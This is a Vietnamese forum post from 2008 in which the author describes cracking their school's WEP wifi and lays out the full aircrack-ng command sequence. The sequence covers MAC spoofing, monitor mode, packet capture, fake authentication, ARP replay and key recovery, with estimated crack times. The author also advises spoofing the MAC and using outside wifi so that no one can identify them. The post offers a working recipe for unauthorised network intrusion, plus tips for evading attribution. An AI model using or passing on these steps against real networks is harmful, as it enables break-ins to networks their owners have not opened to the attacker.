hichic. Thong cam vi ko bat dc cai unikey len. Ai ma cha may doc thi chiu kho dich nha
Mac du tren mang co mot so trang da huong dan nhung sau mot so hom tim hiu va lam (da crack dc cai wifi of truong minh ) to thay de crack dc wifi ma su dung web thi can mot so buoc sau:
Dau tien la fan cung - tuc la card mang wireless of minh fai ho tro che do monitor(thong thuong card mang o che do manage- nghia la no chi nhan dc nhung goi tin ma AP gui den no. Khi o che do monitor no se capture dc tat ca nhung goi tin of tat cac cac AP o trong khong khi. Hic cai nay lam minh chet mat may hom lien vi hom no muon may of hien coi card mang su dung chipset intel 4965agn nen ko lam cach nao de chuyen no sang che do monitor dc. Khi hack ko nen su dung chipset of intel). Sau day la mot so buoc co ban:
//thay doi mac- cai nay nen dung vi khi thay doi se ko ai bit minh la ai ca. Mot kinh nghiem- khi nghich cai j do lien wan toi mot so van de co the nhay cam thi nen ra ngoai su dung mang wifi va nho chang cai mac di de ko ai bit minh la ai ca. Dung dai j nghich o nha.
ifconfig eth1 down
macchanger --mac 00:11:22:33:44:55 eth1
//chuyen card mang ve che do monitor
airmon-ng start eth1
//do cac thong so of target
airodump-ng eth1
//capture goi tin dua vao thong so vua view dc
airodump-ng -c 1 –w/root/desktop/capture/wep64 –bssid 00:14:bf:05:d6:0c ath0
-c 1 : kenh phat cua AP target là kênh 1
/root/desktop/capture/wep64: duong dan luu file capture
00:14:bf:05:d6:0c : MAC address cua AP target
//fake authen voi ap
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 eth1
-1 nghia la fake authen
-0 reassociation timing in seconds
-e teddy ten cua mang
-a 00:14:6C:7E:40:80 MAC of ap address
-h 00:0F:B5:88:AC:82 MAC of thang ket noi vao ap
-ath0 is the wireless interface name
// them
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 eth1
6000 - Reauthenticate sau moi 6000 s. Thoi gian dai vi goi tin keep alive dc gui.
-o 1 - Gui duy nhat mot goi toi mot ap . Mac dinh nhiu goi se gui va toi cac AP.
-q 10 - tu dong gui goi keep alive sau 10s.
//lam tang luu luong goi tin de capture
aireplay-ng -3 -b 00:14:bf:05:d6:0c –h 00:11:22:33:44:55 eth1
//su dung aircrack-ng de ti ra key
aircrack-ng –n 64 --bssid 00:14:bf:05:d6:0c /root/desktop/capture/wep64-01.cap
The la ngon roai
Doi voi WEP 64bit thi mat khoang 4p
con WEP su dung 128 bit thi gap khoang 10 lan cai WEP 64bit
Con voi mang ma su dung WPA/WPA2 thi moi tim hiu wa. Thay dai da so bao la can fai co mot dictionary(su dung kieu tan cong dictionary ma thay Xuan Anh co noi do) co chua pass WPA/WPA2 thi moi dc. Cai nay jo dang tim hiu. Neu co j se post sau nha
tham khao chinh tai :
http://www.aircrack-ng.org/quen mat la fai su dung backtrack 3 nha. Cai nay bai truoc to co gioi thieu wa roai do.
Wed Dec 10, 2008 9:01 pm